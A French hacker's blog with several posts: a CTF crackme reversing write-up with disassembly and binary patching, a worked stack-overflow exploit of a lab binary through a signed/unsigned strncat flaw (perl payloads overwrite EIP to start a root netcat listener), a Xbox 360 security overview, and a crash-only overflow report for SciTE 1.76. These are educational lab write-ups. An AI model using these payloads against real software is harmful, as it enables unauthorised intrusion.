kmkz's blog

[Write-Up] Security By Default CTF : Bin01 (reversing)

2011-01-17T22:37:00.013+01:00

Ce week end avaient lieu le CTF "Security By Default" auquel nous avons participé.

Simultanément avait aussi lieu le Padocon qui lui aussi semblait vraiment simpa bien que d'un niveau bien hard ;-) .

Bref , concentrons-nous sur le sujet de ce billet , a savoir : le Bin01 du CTF "Security By Default".

La premiere chose que l'on remarque dessuite via l'utilitaire "file" : ce binaire est du type elf32 , non stippé .

Ainsi j'ai pu facilement commencer dans un premier temp une rapide analyse a l'aide d'Hexrays afin de réaliser un arbre des appels de fonctions ainsi que des dumps ASM puis C pour bien cerner la bête et voir comment agir.

(Les parties du code ne nous intérréssant pas on bien sur été supprimées)

...

mov edx, offset format ; "\n--- Welcome to '%s' systems.\n"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

lea eax, [esp+6Bh]

mov [esp], eax

call tor

mov edx, offset aS ; "%s"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

mov eax, ds:stdin@@GLIBC_2_0

mov [esp], eax ; stream

call _fflush

lea eax, [esp+1894h]

mov [esp], eax ; s

call _gets

lea eax, [esp+58h]

mov [esp], eax

call tor

mov edx, offset aS ; "%s"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

mov eax, ds:stdin@@GLIBC_2_0

mov [esp], eax ; stream

call _fflush

lea eax, [esp+10C4h]

mov [esp], eax ; s

call _gets

lea eax, [esp+4Bh]

mov [esp], eax

call tor

mov edx, offset aS ; "%s"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

mov eax, ds:stdin@@GLIBC_2_0

mov [esp], eax ; stream

call _fflush

mov eax, [esp+2068h]

mov [esp], eax ; s

call _gets

lea eax, [esp+39h]

mov [esp], eax

call tor

mov edx, offset aS ; "%s"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

mov eax, ds:stdin@@GLIBC_2_0

mov [esp], eax ; stream

call _fflush

lea eax, [esp+8F4h]

mov [esp], eax ; s

call _gets

lea eax, [esp+1Bh]

mov [esp], eax ; s

call untrash

lea eax, [esp+1Bh]

mov [esp], eax

call tor

mov edx, offset aS ; "%s"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

mov eax, ds:stdin@@GLIBC_2_0

mov [esp], eax ; stream

call _fflush

lea eax, [esp+124h]

mov [esp], eax ; s

call _gets

mov dword ptr [esp+2064h],

jmp short loc_8048A47

; ---------------------------------------------------------------------------

loc_8048A0D:

mov eax, [esp+206Ch]

mov eax, [eax]

cmp eax, [esp+2064h]

jnz short loc_8048A3F

lea eax, [esp+9Bh]

mov [esp], eax

call tor

mov edx, offset aAlertS ; "ALERT: %s\n"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

loc_8048A3F:

add dword ptr [esp+2064h], 1

loc_8048A47:

cmp dword ptr [esp+2064h], 9

jle short loc_8048A0D

mov eax, [esp+206Ch]

mov eax, [eax]

test eax, eax

jz short loc_8048AA9

lea eax, [esp+0B0h]

mov [esp], eax ; s

call untrash

lea eax, [esp+0B0h]

mov [esp], eax

call tor

mov ebx, eax

lea eax, [esp+0F9h]

mov [esp], eax

call tor

mov edx, offset aSS ; "%s %s\n"

mov [esp+8], ebx

mov [esp+4], eax

mov [esp], edx ; format

call _printf

mov eax, 0

jmp short loc_8048AF0

; ---------------------------------------------------------------------------

loc_8048AA9:

mov dword ptr [esp+4], offset s2 ; "admin_r00t"

lea eax, [esp+124h]

mov [esp], eax ; s1

call _strcmp

test eax, eax

jnz short loc_8048AEB

lea eax, [esp+112h]

mov [esp], eax

call tor

mov edx, offset aS_0 ; "%s :)\n"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

mov eax, 45h

jmp short loc_8048AF0

; ---------------------------------------------------------------------------

loc_8048AEB:

mov eax, 45h

loc_8048AF0:

add esp, 2074h

pop ebx

pop esi

pop edi

mov esp, ebp

pop ebp

retn

main endp

; ---------------------------------------------------------------------------
...

Dans cet extrait du code assembleur , ces fonctions semblent etre celles qui nous intéressent , a partir de la on réalise un désassemblage qui donne :

J'ai ensuite étudié l'algo un peu plus en profondeur via un dump C d'Hexrays qui s'avéra trés instructif quand au fonctionnement ducrackme.

...

printf("\n--- Welcome to '%s' systems.\n", v0);

v1 = tor(&v34);

printf("%s", v1);

fflush(stdin);

gets(&v70);

v2 = tor(&v28);

printf("%s", v2);

fflush(stdin);

gets(&v69);

v3 = tor(&v24);

printf("%s", v3);

fflush(stdin);

gets((char *)v72);

v4 = tor(&v19);

printf("%s", v4);

fflush(stdin);

gets(&v68);

untrash((const char *)&v11);

v5 = tor(&v11);

printf("%s", v5);

fflush(stdin);

gets(&v67);

for ( i = -5; i <= 9; ++i )

{

if ( *(_DWORD *)v73 == i )

{

v6 = tor(&v47);

printf("ALERT: %s\n", v6);

}

if ( *(_DWORD *)v73 )

{

untrash(&v53);

v8 = tor((int *)&v53);

v9 = tor(&v55);

printf("%s %s\n", v9, v8);

result = 0;

}

else

{

if ( strcmp(&v67, "admin_r00t") )

{

result = 69;

}

else

{

v10 = tor(&v62);

printf("%s :)\n", v10);

result = 69;

}

return result;

...

Voila , nous somme au coeur du problème a présent, j'me suis donc dit que j'allais travailler ça de façon a patcher le binaire pour luifaire cracher son flag et ne plus avoir d'outputs frustrants comme les :

ALERT: You are not welcome.

ou encore

It's not so easy Dude ! (aprés patching de plusieurs sauts conditionels/call par exemple).

Le but recherché étant d'obtenir le flag de validation , j'ai fait ça de façon rapide mais absolument pas esthétique , puristes s'abstenir !

Pour y parvenir il ne me resta plus qu'a rechercher certaines fonctions (dont celle qui construisent et donne le précieux sésame) puis a patcher afin de jumper au bon endroit.

Voici quelques une des modifs ainsi effectuées :

Parti de cette instruction jmp loc_8048a47 , on jump en 0x8048a47 et on apporte les modifs adéquates.

La capture suivante propose 2 vues a savoir a gauche le binaire dans sa version originale , a droite sa version patchée .

La chaine contenue dans strz__s__s__8048bed se trouvait donc etre "admin_r00t %s %s\n\0" :-^ .

Voila , restait alors qu'a chopper le flag et a valider :

sh-3.2$ ./copie\ de\ n00b-login

--- Welcome to 'Epicness Security' systems.

Insert name: kmkz

Insert last name: sec0d

Insert sex: Faible(:P)

Inserd birthday: 1337

Insert passwd: pawned!

Damn it! SYSTEM FAILURE: iTSeeMsThaTWeAreNotEpicnessAtAlL

Pastebin du dump ASM

Pastbin du dump C

Erreur de Casting ou corruption de la stack en milieu hostile

2010-11-14T23:10:00.008+01:00

Salut a tous .

Actuellement en formation réseau , je n'ai pas pu tenir toute mes promesses concernant ce blog , néanmoins ,
je vous propose a présent une petite exploitation en milieu hostile (avec SSP et ASLR).
 Notre objectif du jour sera ,comme souvent, la réécriture d'EIP , grace a un buffer overflow .

Pour ce faire nous exploiterons une faille de type «transtypage» ou «casting» ,puis nous redirigerons le flot d'exécution

en écrasant EIP grace a une erreur dans l'emploi de la fonction C strncat().
Tout d'abord précisons l'environnement de travail:
root[Casting_error]# uname -a && cat /proc/sys/kernel/randomize_va_space 
Linux zenwalk 2.6.33.4 #1 SMP PREEMPT Fri May 14 13:02:33 CEST 2010 i686 Intel(R) Pentium(R) 4
CPU 3.06GHz GenuineIntel GNU/Linux 
2 
A présent compilons le binaire de façon suffisament sure pour rentre cette exploitation intéréssante;
a quoi bon compiler et exploiter des binaires compilés avec -fno-stack-protector pour la énnième fois..
root[Casting_error]#gcc -Wall -Werror-o vuvu vuvu.c

(On remarquera au passage que malgré les arguments passés, GCC ne renvois aucun warnings lors de la compilation,
cela démontre que pour lui tout est correctement codé ('fin si on veux..) et que toute les fonctions sont utilisées selon les usages ) .
Lançons le afin de le tester un peu:
kmkz[Casting_error]# ./vuvu aaaaaaaaaa
Overflow attempt detected!

 Ok, passons aux choses sérieuses:
On remarque ici qu'il ne passe pas la condition , en effet , le code source indique que si argv[1] >= 64 ,
alors on affiche ce message et on quitte le programme.
Pourtant notre but sera d'accéder a la fonction «serveur» afin de le lancer malgré qu'il ne soit,en théorie, pas accéssible .
Comment faire?
Simple me direz-vous , dans un premier temps il faudra bypasser ce contrôle, voici comment on va procéder.
 Pour commencer on lui indiquera un nombre  inférieur  à 64  pour tester sa réaction: 
kmkz[Casting_error]$ ./vuvu `printf "63"``perl -e 'print "A"x82'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

kmkz[Casting_error]$ 
Bon , maintenant voyons voir comment le binaire réagit avec de l'hexa (on sait que  \x3f = 63 , donc \x40 = 64 ) 
on check :
kmkz[Casting_error]# ./vuvu `printf "\x40"``perl -e 'print "A"x82'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Overflow attempt detected!
Ici on voit bien que la tentative d'overflow échoue car la condition n'est pas vérifiée.
Essayons maintenant de bypasser ce controle avec une valeur telle que \x80 (-128) afin de déborder
et d'écraser EIP.
Pourquoi \x80?
Tout simplement une question de Bits :P .
 Il faut garder a l'esprit la vérification faites par la condition , sachant que le type attendu en 3eme argument
 qui est défini par le prototype de la fonction strncat() doit etre size_t ,soit unsigned int , un argument comme 
par exemple \x79 nous empècherait de bypasser ce test car les bits seraient alors organisés comme suit:
128 - 64 - 32 - 16 - 8 - 4 - 2 – 1 (Bits de l'octet)
   0      1     1     1    1    0   0    1 ( Bits)
cela renverrait alors une erreur car la valeur serait bien trop grande ! 
x80 quand a lui est un nombre négatif (de \xFF à \x80) et s'étend sur les 24 premiers Bits quand il est de type signé,
 néanmoins , lorsqu'il est utilisé dans strncat() il devient unsigned , ce qui signifie que les Bits passent a «1»
 lui donnant ainsi une valeur bien plus grande que 64 , du coup cela génère bien un overflow.

Allez , maintenant qu'on connait la théorie , place à la pratique :
kmkz[Casting_error]# ./vuvu `printf "\x80"``perl -e 'print "A"x760'` // 760 soyons fou ...
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Erreur de segmentation  <-- Intéréssant , on a pu enfin obtenir un segfault  :P
Allons voir ça de plus prés avec notre ami GDB:

(gdb) r `printf "\x80"``perl -e 'print "A"x82'`  //82 car c'est ici la limite du segfault
Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `printf "\x80"``perl -e 'print "A"x82
'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Regardons ce qui se passe au niveau du code assembleur et des registres : 
   ...
    0x08048580 <+106>:  movb   $0x0,-0x8(%ebp) 
   0x08048584 <+110>:   cmpb   $0x3f,-0x9(%ebp) 
   0x08048588 <+114>:   jle    0x80485ab <function_verif+149> 
---Type <return> to continue, or q <return> to quit--- 
   0x0804858a <+116>:   mov    0x80498e0,%eax 
   0x0804858f <+121>:   mov    %eax,%edx 
   0x08048591 <+123>:   mov    $0x8048758,%eax 
   ...
Plaçons quelques points d'arrêts pour pouvoir y voir plus clair:
(gdb) b *function_verif+114
Breakpoint 1 at 0x8048588
(gdb) b *function_verif+116
Breakpoint 7 at 0x804858a

Allez , let's go ! 
(gdb) r `printf "\x80"``perl -e 'print "A"x82 . "\00"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `printf "\x80"``perl -e 'print "A"x82 . "\00"'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Breakpoint 1, 0x08048588 in function_verif ()

On fait un info registers:
(gdb) i r
eax            0x0      0                  --> le nullbyte de buff[0],(mov  $0x0,%eax)
ecx            0x1      1
edx            0xbffff23f       -1073745345
ebx            0x3f     63                 --> notre char initialisé à 64 (moins le nullbyte,soit 63) octets
esp            0xbffff1f0       0xbffff1f0
ebp            0xbffff248       0xbffff248
esi            0x0      0                  --> Nullbyte de buff[65]
edi            0xbffff23c       -1073745348
eip            0x8048588        0x8048588 <function_verif+114>

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0x0      0                  --> le nullbyte de buff[0],(mov  $0x0,%eax)
ecx            0xffffff7f       -128       --> notre argument nécéssaire pour l'overflow (\x80)
edx            0xbffff24e       -1073745330
ebx            0x41414141       1094795585
esp            0xbffff250       0xbffff250
ebp            0x41414141       0x41414141
esi            0x0      0                  --> Nullbyte de buff[65]
edi            0x41414141       1094795585
eip            0x41414141       0x41414141

(gdb) i s
#0  0x41414141 in ?? ()
#1  0xbfff0041 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
Ici on se rend bien compte de l'overflowing de la stack, tentons a présent de l'exploiter mauellement puis 
a l'aide de l'exploit codé a cet effet. 

Exploitation via détournement de fonction (un ret-into_PLT serait a envisagé mais j'ai opté pour cette méthode
car elle ne nécéssite que peu de connaissance et est relativement simple a pratir du moment ou EIP est 
overwrité): 
objdump -d vuvu | grep serveur
080485d4 <serveur>:

Voilà , l'exploitation peu avoir lieu afin de lancer le serveur soit-disant inaccéssible contruison le avec l'adresse fixée précédemment.
 82-5 =77 Octets  soit 4 Octets pour l'offset de retour (fonction serveur), 1 pour notre argument hexadécimal et on ajoutera un NullByte 
pour la fin de string (non obligatoire ici , mais plus propre).
(gdb) r `perl -e 'print "\x80" . "A"x77 . "\xd4\x85\x04\x08" . "\00"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `perl -e 'print "\x80" . "A"x77 . "\xd4\x85\x04\x08" . "\00"'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Breakpoint 1, 0x08048588 in function_verif ()
(gdb) c
Continuing.
[+] Activating server on port : 6666 
Du coté du méchant hacker le serveur est bien lancé , vérifions son fonctionnement et ses droits au cas ou ..: 
...
tcp        0      0 *:6666                  *:*                     LISTEN      root       18892       2786/nc  
...
L'exploitation a bien fonctionné , voyons maintenant avec notre exploit .


Voilà , j'espère que cela vous donnera des idées simpa , 
il me reste plus qu'à vous dire a bientôt pour de nouvelles aventures.
\o>

Links:
Exploit

 
Binaire(source vuvu.c)
Article PDF

Xbox 360 Security : Chapter 1

2010-08-04T17:14:00.002+02:00

Me revoila ;-) .

Depuis plusieurs mois , la 3LRVS avait debute des recherches sur la securite des consoles Xbox360.

Malheureusement , faute de temps et surtout de matos , nous avions mis de coté ces recherches , attendant de pouvoir avancer de façon plus "concrete".

C'est chose faite , la 3LRVS va reprendre du service \o/ , voila donc le moment opportunt pour vous proposer un article condensé sur l'architecture et les bases de la securite sur ce type de machines en attendant nos premiere trouvailles (enfin , espérons le :P ).

Let's go :

[*]Caractéristiques de l'architecture de la Xbox 360 :

- Processeur (XCPU Xenon):

PowerPC G5 d'IBM x64 3-cores cadence a 3.2Ghz (1,6 Ghz en reel) .

Multithreads (2 threads [SMT] par core : 1 en FPU + 1 en VMX)

192Mo de cache total en L1 (level 1 ) et 1Mo en L2 (mode utilisateur)

*Soit: 32Kb en cache (instructions) + 32Kb en cache (donnees) , en Level 1 (kernel mode).

- Memoire vive (RAM): 512 GDDR3 - 700 Mhz partagee avec le cpu Bande passante de 21.6 Go/s

- Architecture : PPC Big Endian (IBM)

( http://fr.wikipedia.org/wiki/Xenon_(processeur) )

[*] Prerequis :

- FPU (Floating Point Unit) :

Est un processeur dédié spécialement conçu pour effectuer des opérations sur des nombres à virgule flottante

( http://fr.wikipedia.org/wiki/Unit%C3%A9_de_calcul_en_virgule_flottante )

- VMX: les VMX implémentent des instructions ternaires spécifiant deux registres source et un registre destination, ainsi qu’un registre de modification optionnel.

Ils sont utilisés notament dans le cadre d’additions ou de multiplications (ici étendu a 128 Bits) a raison de 2 cycles gérant 4 instructions chacun.

( http://fr.wikipedia.org/wiki/AltiVec )

- SIMD: le SIMD regroupe les deux coprocesseurs vectoriels VMX128 (similaires à AltiVec) avec 2 bancs de registres (128×128 bits) pour chaques coeurs.

- SMT (Symetric Material Thread):

Systeme de multi threads symétriques

(2 par coeurs soit 6 threads au total pour les jeux)

- eFuse :

Securite sur le bootloader permettant de tester la présence du firmware proprietaire .

Capacité: 768 bits -

Patche depuis la version (ou MaJ) kernel >= 4552 (afin d'eviter les downgrade , voir la partie "securite").

[+]Schema simplifié du processeur PowerPC (Xenon) d'IBM utilisé:

128 Registres:

Les 32 premiers mappés aux 32 registres(enregistreurs) qui existent dans la génération précédente

de processeurs PowerPC(pour la compatibilité binaire) .

A ce processeur triple coeur viennent s'ajouter les 2 coprocesseur vectoriels (relatif aux données) VMX128 (similaires à AltiVec) avec 2 bancs de registres (128×128 bit) pour chaque coeur.(VMX128 Bits doubles coeurs)

L'utilisateur a en outre la possibilité d'utiliser l'ensemble des registres normaux fournis par le PowerPC et les 32 registres vectoriels fournis par VMX de manière simultanée.

(jeu de 32 registres vectoriels 128 bits permettent alors de stocker 16 entiers 8 bits signés ou non signés, 8 entiers 16 bits signés ou non signés, 4 entiers 32 bits signés ou non signés ou bien 4 nombre réels 32-bit en virgule flottantes)

[*] Sécurité :

Les concepts de sécurité sont identiques à ceux définis sur l'architecture POWER (contrôle des accès au niveau des segments et des pages).

La séparation superviseur / utilisateur se fait au niveau des segments ou des blocs. Chaque processus utilisateur dispose de 16 segments dont deux sont réservés au noyau (accessible en mode superviseur).

À noter cependant qu'il est possible d'effectuer des accès à la mémoire qui ne supportent aucun contrôle. Il suffit pour cela de désactiver tous les mécanismes de traduction d'adresses.

ROM (et SRAM de 64 kbytes) contenant le programme de démarrage Secure Bootloader de Microsoft, et un Hyperviseur de cryptage pour générer des clés

de chiffrement aléatoire.

Ce meme Hyperviseur a pu permettre par exemple une exploitation

(il y en a eu d'autres, et d'autre sont a l'etude)

via une injection au travers de shaders de jeu (King Kong) , permettant ainsi d'executer du code arbitraire directement en mode kernel .

En effet , les vectors shaders utilises benefient d'un acces a la memoire non controles .

(Ce jeu utilise des shaders compilés avec Microsoft D3DX9 Shader Compiler 9.04.91.0000)

Pour ce faire , Crawler360 (la super crapule :P) a du convertir son code en shader puis developper un petit loader utilisable par le port de serie .

Malheureusement , les MaJ du kernel vers la version 4552 (ou superieure) bloquent les tentatives de Downgrades et donc l'exploitation de cette vulnerabilitee de l'Hyperviseur .

Neanmoins , d''autre exploitations de ce type restent a envisager (et font l'objet de recherche active) .

Voila , la petite presentation de la Xbox 360 est maintenant finie , j'espere que ça pourra servir a d'autres , n'hésitez pas a partager vos idées/trouvailles , c'est important .

See you ..

/--------------- RESSOURCES UTILES ---------------\

flux now avaible

2010-08-01T14:26:00.003+02:00

Salut a tous!

Etant donné que je compte balancer pas mal d'anneries ici dans les mois a venir, j'ai décidé de lancer mon flux afin de se tenir informé de l'activitée du blog .

Pour ceux que ça intéresse: link

A trés bientot ;-)

[*] Scite Text Editor 1.76 PoC : Local BoF vulnerability ( 0 - Days )

2010-07-05T22:47:00.000+02:00

Me revoila :P

Je sais que j'ai pas mal zappé ce blog depuis quelques mois , néanmoins j'espere pouvoir m'y remettre entre 2 CTF ..

Bref, osef d'ma vie , place a la présentation , certe rapide , mais néanmoins simpa (bien que trés trés incomplete ) du Buffer Overflow que j'ai eu l'occasion de
découvrir dans la version 1.76 de Scite text Editor .

L'environnement d'audit est un 2.6.31-22 , néanmoins , les essais effectués sur des versions antérieures donne d'autres résultats assez surprenant .
Cet article ne présentera qu'uniquement quelques dumps démontrant la vulnérabilité sans pour autant l'exploiter; l'exploitation aparaitra ici peu etre d'ici pas mal de temps , j'y reviendrait.

Place a quelques dumps issus de GNU gdb (GDB) 7.0

r `perl -e'print"A"x4096 . "\x90\x90\x90\x90"'`
Starting program: /usr/bin/scite `perl -e'print"A"x4096 . "\x90\x90\x90\x90"'`
[Thread debugging using libthread_db enabled]
*** buffer overflow detected ***: /usr/bin/scite terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0x9c7008]
/lib/tls/i686/cmov/libc.so.6[0x9c6040]

/lib/tls/i686/cmov/libc.so.6(__strcpy_chk+0x44)[0x9c53b4]

/usr/bin/scite[0x8082a71]
/usr/bin/scite[0x8083751]
/usr/bin/scite[0x805b59c]
/usr/bin/scite[0x8079382]
/usr/bin/scite[0x8070944]
/usr/bin/scite[0x805dc32]
/usr/bin/scite[0x805dd8a]
/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0x8fcb56]
/usr/bin/scite[0x8052d41]
======= Memory map: ========
00110000-0012b000 r-xp 00000000 08:01 146 /lib/ld-2.10.1.so
0012b000-0012c000 r--p 0001a000 08:01 146 /lib/ld-2.10.1.so
0012c000-0012d000 rw-p 0001b000 08:01 146 /lib/ld-2.10.1.so
0012d000-0012e000 r-xp 00000000 00:00 0 [vdso]
0012e000-004e6000 r-xp 00000000 08:01 262811 /usr/lib/libgtk-x11-2.0.so.0.1800.3
004e6000-004e7000 ---p 003b8000 08:01 262811 /usr/lib/libgtk-x11-2.0.so.0.1800.3
004e7000-004eb000 r--p 003b8000 08:01 262811 /usr/lib/libgtk-x11-2.0.so.0.1800.3
004eb000-004ed000 rw-p 003bc000 08:01 262811 /usr/lib/libgtk-x11-2.0.so.0.1800.3
004ed000-004ef000 rw-p 00000000 00:00 0
004ef000-00581000 r-xp 00000000 08:01 262814 /usr/lib/libgdk-x11-2.0.so.0.1800.3
00581000-00583000 r--p 00092000 08:01 262814 /usr/lib/libgdk-x11-2.0.so.0.1800.3
00583000-00584000 rw-p 00094000 08:01 262814 /usr/lib/libgdk-x11-2.0.so.0.1800.3
00584000-0059f000 r-xp 00000000 08:01 263706 /usr/lib/libatk-1.0.so.0.2809.1
0059f000-005a0000 r--p 0001b000 08:01 263706 /usr/lib/libatk-1.0.so.0.2809.1
005a0000-005a1000 rw-p 0001c000 08:01 263706 /usr/lib/libatk-1.0.so.0.2809.1
005a1000-005b9000 r-xp 00000000 08:01 262816 /usr/lib/libgdk_pixbuf-2.0.so.0.1800.3
005b9000-005ba000 r--p 00017000 08:01 262816 /usr/lib/libgdk_pixbuf-2.0.so.0.1800.3
005ba000-005bb000 rw-p 00018000 08:01 262816 /usr/lib/libgdk_pixbuf-2.0.so.0.1800.3
005bb000-005c6000 r-xp 00000000 08:01 264322 /usr/lib/libpangocairo-1.0.so.0.2600.0
005c6000-005c7000 r--p 0000a000 08:01 264322 /usr/lib/libpangocairo-1.0.so.0.2600.0
005c7000-005c8000 rw-p 0000b000 08:01 264322 /usr/lib/libpangocairo-1.0.so.0.2600.0
005c8000-0060e000 r-xp 00000000 08:01 264320 /usr/lib/libpango-1.0.so.0.2600.0
0060e000-0060f000 r--p 00045000 08:01 264320 /usr/lib/libpango-1.0.so.0.2600.0
0060f000-00610000 rw-p 00046000 08:01 264320 /usr/lib/libpango-1.0.so.0.2600.0
00610000-00687000 r-xp 00000000 08:01 262362 /usr/lib/libcairo.so.2.10800.8
00687000-00689000 r--p 00076000 08:01 262362 /usr/lib/libcairo.so.2.10800.8
00689000-0068a000 rw-p 00078000 08:01 262362 /usr/lib/libcairo.so.2.10800.8
0068a000-006c6000 r-xp 00000000 08:01 263053 /usr/lib/libgobject-2.0.so.0.2200.3
006c6000-006c7000 r--p 0003b000 08:01 263053 /usr/lib/libgobject-2.0.so.0.2200.3
006c7000-006c8000 rw-p 0003c000 08:01 263053 /usr/lib/libgobject-2.0.so.0.2200.3
006c8000-006cb000 r-xp 00000000 08:01 263054 /usr/lib/libgmodule-2.0.so.0.2200.3
006cb000-006cc000 r--p 00002000 08:01 263054 /usr/lib/libgmodule-2.0.so.0.2200.3
006cc000-006cd000 rw-p 00003000 08:01 263054 /usr/lib/libgmodule-2.0.so.0.2200.3
006cd000-006cf000 r-xp 00000000 08:01 268014 /lib/tls/i686/cmov/libdl-2.10.1.so
006cf000-006d0000 r--p 00001000 08:01 268014 /lib/tls/i686/cmov/libdl-2.10.1.so
006d0000-006d1000 rw-p 00002000 08:01 268014 /lib/tls/i686/cmov/libdl-2.10.1.so
006d1000-006d5000 r-xp 00000000 08:01 263055 /usr/lib/libgthread-2.0.so.0.2200.3
006d5000-006d6000 r--p 00003000 08:01 263055 /usr/lib/libgthread-2.0.so.0.2200.3
006d6000-006d7000 rw-p 00004000 08:01 263055 /usr/lib/libgthread-2.0.so.0.2200.3
006d7000-006de000 r-xp 00000000 08:01 268027 /lib/tls/i686/cmov/librt-2.10.1.so
006de000-006df000 r--p 00006000 08:01 268027 /lib/tls/i686/cmov/librt-2.10.1.so
006df000-006e0000 rw-p 00007000 08:01 268027 /lib/tls/i686/cmov/librt-2.10.1.so
006e0000-00795000 r-xp 00000000 08:01 972 /lib/libglib-2.0.so.0.2200.3
00795000-00796000 r--p 000b4000 08:01 972 /lib/libglib-2.0.so.0.2200.3
00796000-00797000 rw-p 000b5000 08:01 972 /lib/libglib-2.0.so.0.2200.3
00797000-0087d000 r-xp 00000000 08:01 262987 /usr/lib/libstdc++.so.6.0.13
0087d000-00881000 r--p 000e6000 08:01 262987 /usr/lib/libstdc++.so.6.0.13
00881000-00882000 rw-p 000ea000 08:01 262987 /usr/lib/libstdc++.so.6.0.13
00882000-00889000 rw-p 00000000 00:00 0
00889000-008ad000 r-xp 00000000 08:01 268015 /lib/tls/i686/cmov/libm-2.10.1.so
008ad000-008ae000 r--p 00023000 08:01 268015 /lib/tls/i686/cmov/libm-2.10.1.so
008ae000-008af000 rw-p 00024000 08:01 268015 /lib/tls/i686/cmov/libm-2.10.1.so
008af000-008cb000 r-xp 00000000 08:01 546 /lib/libgcc_s.so.1
008cb000-008cc000 r--p 0001b000 08:01 546 /lib/libgcc_s.so.1
008cc000-008cd000 rw-p 0001c000 08:01 546 /lib/libgcc_s.so.1
008cd000-008e2000 r-xp 00000000 08:01 268025 /lib/tls/i686/cmov/libpthread-2.10.1.so
008e2000-008e3000 r--p 00014000 08:01 268025 /lib/tls/i686/cmov/libpthread-2.10.1.so
008e3000-008e4000 rw-p 00015000 08:01 268025 /lib/tls/i686/cmov/libpthread-2.10.1.so
008e4000-008e6000 rw-p 00000000 00:00 0
008e6000-00a24000 r-xp 00000000 08:01 265728 /lib/tls/i686/cmov/libc-2.10.1.so
00a24000-00a25000 ---p 0013e000 08:01 265728 /lib/tls/i686/cmov/libc-2.10.1.so
00a25000-00a27000 r--p 0013e000 08:01 265728 /lib/tls/i686/cmov/libc-2.10.1.so
00a27000-00a28000 rw-p 00140000 08:01 265728 /lib/tls/i686/cmov/libc-2.10.1.so
00a28000-00a2b000 rw-p 00000000 00:00 0
00a2b000-00b55000 r-xp 00000000 08:01 263622 /usr/lib/libX11.so.6.2.0
00b55000-00b56000 ---p 0012a000 08:01 263622 /usr/lib/libX11.so.6.2.0
00b56000-00b57000 r--p 0012a000 08:01 263622 /usr/lib/libX11.so.6.2.0
00b57000-00b59000 rw-p 0012b000 08:01 263622 /usr/lib/libX11.so.6.2.0
00b59000-00b5a000 rw-p 00000000 00:00 0
00b5a000-00b5c000 r-xp 00000000 08:01 263633 /usr/lib/libXcomposite.so.1.0.0
00b5c000-00b5d000 r--p 00001000 08:01 263633 /usr/lib/libXcomposite.so.1.0.0
00b5d000-00b5e000 rw-p 00002000 08:01 263633 /usr/lib/libXcomposite.so.1.0.0
00b5e000-00b60000 r-xp 00000000 08:01 263637 /usr/lib/libXdamage.so.1.1.0
00b60000-00b61000 rw-p 00001000 08:01 263637 /usr/lib/libXdamage.so.1.1.0
00b61000-00b65000 r-xp 00000000 08:01 263643 /usr/lib/libXfixes.so.3.1.0
00b65000-00b66000 r--p 00003000 08:01 263643 /usr/lib/libXfixes.so.3.1.0
00b66000-00b67000 rw-p 00004000 08:01 263643 /usr/lib/libXfixes.so.3.1.0
00b67000-00bfa000 r-xp 00000000 08:01 263056 /usr/lib/libgio-2.0.so.0.2200.3
00bfa000-00bfb000 r--p 00092000 08:01 263056 /usr/lib/libgio-2.0.so.0.2200.3
00bfb000-00bfc000 rw-p 00093000 08:01 263056 /usr/lib/libgio-2.0.so.0.2200.3
00bfc000-00bfd000 rw-p 00000000 00:00 0
00bfd000-00c24000 r-xp 00000000 08:01 264324 /usr/lib/libpangoft2-1.0.so.0.2600.0
Program received signal SIGABRT, Aborted.
0x0012d422 in __kernel_vsyscall ()

Screen

0x0012d000 // VDSO , ça peut etre utile dans le cas de certaines exploitation

(gdb) x/79s $eip
0x12d422 <>:
0x12d424: ".shstrtab"
0x12d42e: ".hash"
0x12d434: ".dynsym"
0x12d43c: ".dynstr"
0x12d444: ".gnu.version"
0x12d451: ".gnu.version_d"
0x12d460: ".note"
0x12d466: ".eh_frame_hdr"
0x12d474: ".eh_frame"
0x12d47e: ".dynamic"
0x12d487: ".data"
0x12d48d: ".text"
0x12d493: ""

Comme on peux le constater , le programme est stoppé brutalement suite a un débordement de tampon ,
essayons donc d'y voir plus clair :

(gdb) i stack
#0 0x0012d422 in __kernel_vsyscall ()
#1 0x009104d1 in *__GI_raise (sig=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
#2 0x00913932 in *__GI_abort () at abort.c:92
#3 0x00946fc5 in __libc_message (do_abort=2,
fmt=0xa0881d "*** %s ***: %s terminated\n")
at ../sysdeps/unix/sysv/linux/libc_fatal.c:189
#4 0x009c7008 in *__GI___fortify_fail (msg=0xa087c7 "buffer overflow detected")
at fortify_fail.c:32
#5 0x009c6040 in *__GI___chk_fail () at chk_fail.c:29
#6 0x009c536a in __strcat_chk (
dest=0xbfff4734 "/home/kmkz/0Days/Scite_1.76/", 'A' <_dl_fini>,
stack_end=0xbfffb51c) at libc-start.c:220
#14 0x08052d41 in ?? ()

(gdb) i auxv
32 AT_SYSINFO Special system info/entry points 0x12d420
33 AT_SYSINFO_EHDR System-supplied DSO's ELF header 0x12d000
16 AT_HWCAP Machine-dependent CPU capability hints 0xbfebf3ff
6 AT_PAGESZ System page size 4096
17 AT_CLKTCK Frequency of times() 100
